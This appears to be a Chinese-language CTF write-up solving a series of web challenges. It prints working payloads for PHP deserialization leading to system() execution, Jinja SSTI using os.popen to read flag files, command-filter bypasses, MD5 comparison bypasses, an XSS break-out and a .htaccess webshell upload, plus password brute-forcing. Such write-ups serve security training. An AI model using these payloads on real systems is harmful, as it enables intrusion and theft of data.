投喂

打开挑战

查看题目提示,这是一道PHP反序列化漏洞的CTF题目,核心是构造包含 is_admin=true 的 User 对象序列化字符串,通过 POST 请求传递 data 参数触发反序列化,从而让服务器认为你是管理员( is_admin=true )。

以下是具体代码:

<?php

class User {

    public $username;

    public $is_admin;

    function __construct($username, $is_admin) {

        $this->username = $username;

        $this->is_admin = $is_admin;

    }

}

// 创建一个 User 对象,设置 is_admin 为 true

$user = new User("admin", true);

// 打印输出序列化 User 对象

echo serialize($user);

?>
post传递data=O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"is_admin";b:1;}

狗黑子的RCE

打开也是惊奇,发现过滤了很多东西

但$gouheizi2=str_replace('gouheizi', '', $gouheizi2);

又把传入的gouheizi替换为空,简单双写绕过一下 gougouheiziheizi

pyload:?gouheizi1=c\at /fl\ag.php

button

打开是一个点不到的按钮

果然找到了

pyload:/proxy.php?file=flag

井字棋

找到关键点

bp抓包看一下

简单的导航站

打开就是一个导航站

看看源码

提示管理员不一定是admin,继续收集信息

实在没有头绪了 注册抓包看一下

刚注册的账户密码不能用

返回看了一下,可能是提示,偏要注册

登陆成功

发现

MD5 强比较用数组绕过(md5(array) 返回 NULL,NULL === NULL

audit.php?user1[]=1&user2[]=2

那么前面得到的应该就是密码

用bp爆破一下

用户名:P0la2adm1n 密码:Admin234!

登陆成功跳转到这

只允许.htaccess和txt

上传成功

连接一下

找到但好像有两千个flag

想到前面有个flag检测的,抓包用bp爆破一下

flag:flag{T4PwCg1RrQNsO4EcrQmU}

来个弹窗

标题已经暗示了就是xss

">去闭合

这个人物是JoJo承太郎的替身,白金之星

flag{dbd65172f0a14c279bc461cd0185c70a}

background

打开一个按钮

点了一下没有什么用

访问js

点击访问发现存在change_background.php

成功回显

0e事件

查看题目提示,0e事件,结合Get提交a参数,尝试提交MD5 哈希值以 0e 开头的数值

搜索

pyload:?a=240610708

简单的链子

标题已经提示了就反序列化一下吧

构造一下:

<?php

  class A {

  public $cmd;

function __destruct() {

  if (isset($this->cmd)) {

    system($this->cmd);

  }

}

}

$a=new A; 

$a->cmd=cat /flag;   //控制得到的命令

echo serialize($a);

?> 

>>>O:1:"A":1:{s:3:"cmd";s:9:"cat /flag";} 

得到flag

ghost_render

感觉像是文件上传,看看前端有没有限制

只允许上传.md的

上传测试一下

排除文件上传,搜了一下 好像是 ssti

什么是呢大概看这张图

有回显

构造payload:{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}


发现没有flag文件感觉是藏到环境变量里看看

果然得到flag

可......真的是这样吗

pyload:

{{lipsum.__globals__.os.popen("cat /var/secret_flag").read()}}

rce命令执行系统

就是命令执行

基本上能过滤的都过滤了倒是env没有过滤,突然想扫个目录看看

访问一下得到

根据提示 将txt修改为php,l修改为1,访问查看

既如此pyload:env XOR_KEY=Polar

命运石之门

打开是一个登录框,做的多感觉就是信息收集加爆破密码一般都会有密码本

扫一下目录

看到密码

还有个验证码看看源码藏没有

5pyJ5pe25YCZ77yM6aqM6K+B56CB5piv5ZCm5aW95L2/5LiN6YeN6KaB

好像不是解码一下

用万能验证码0000

bp爆破一下这一万个也是爆破到驴年才出来

到达第二关

继续爆破,获取密码huan9le1Sam0

得到flag